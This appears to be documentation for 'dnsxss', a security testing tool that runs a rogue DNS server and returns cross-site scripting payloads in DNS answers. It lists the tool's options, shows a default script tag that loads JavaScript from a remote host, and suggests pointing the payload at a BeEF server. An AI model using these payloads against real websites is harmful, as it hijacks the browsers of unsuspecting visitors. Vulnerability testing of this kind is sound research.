When I originally wrote this, I tested it on a handful of Internet sites. Every one of them was vulnerable.
I haven't tried testing other vulnerabilities, like SQL injection or shell injection, but I suspect that this is a great attack vector for those and other vulnerabilities, because people don't realize that malicious traffic can be returned.
./dnsxss [-t <test string>] -a <address> The address sent back to the user when an A request is made. Can be used to disguise this as a legitimate DNS server. Default: 127.0.0.1. -aaaa <address> The address sent back to the user when an AAAA (IPv6) request is made. Can be used to disguise this as a legitimate DNS server. Default: ::1. -d <domain> The domain to put after the test string. It should be the same as the one that points to your host. -h Help --payload <data> The string containing the HTML characters, that will ultimately test for the cross-site scripting vulnerability. Ultimately, this can contain any type of attack, such as sql-injection. One thing to note is that DNS generally seems to filter certain characters; in my testing, anything with an ASCII code of 0x20 (Space) or lower was replaced with an escaped /xxx, and brackets had a backslash added before them. Default: <script src='http://www.skullsecurity.org/test-js.js'></script> Note that unless a TEXT record is requested, spaces are replaced with slashes ('/'), which work in Firefox but not IE. --keep-spaces By default, spaces in the payload are replaced with slashes ('/') because the DNS protocol doesn't like spaces. Use this flag to bypass that filter. --test <domain> Test to see if we are the authoritative nameserver for the given domain. -u --username The username to use when dropping privileges. Default: nobody. -s --source <address> The local address to bind to. Default: any (0.0.0.0) -p --port <port> The local port to listen on. I don't recommend changing this. default: 53
Running this program without arguments returns a pretty typical cross-site scripting string:
$ dig @localhost -t TXT test [...] ;; ANSWER SECTION: test. 1 IN TXT "<script src='http://www.skullsecurity.org/test-js.js'></script>.test"
This will display a messagebox on the user's screen alerting them to the issue. You can change the payload using the --payload argument and point it at, for example, a BeEF server.
Authoritative DNS server
Many functions of this tool require you to be the authoritative nameserver for a domain. This typically costs money, but is fairly cheap and has a lot of benefits. If you aren't sure whether or not you're the authority, you can use the --test argument to this program, or you can directly run the dnsxss program, also included.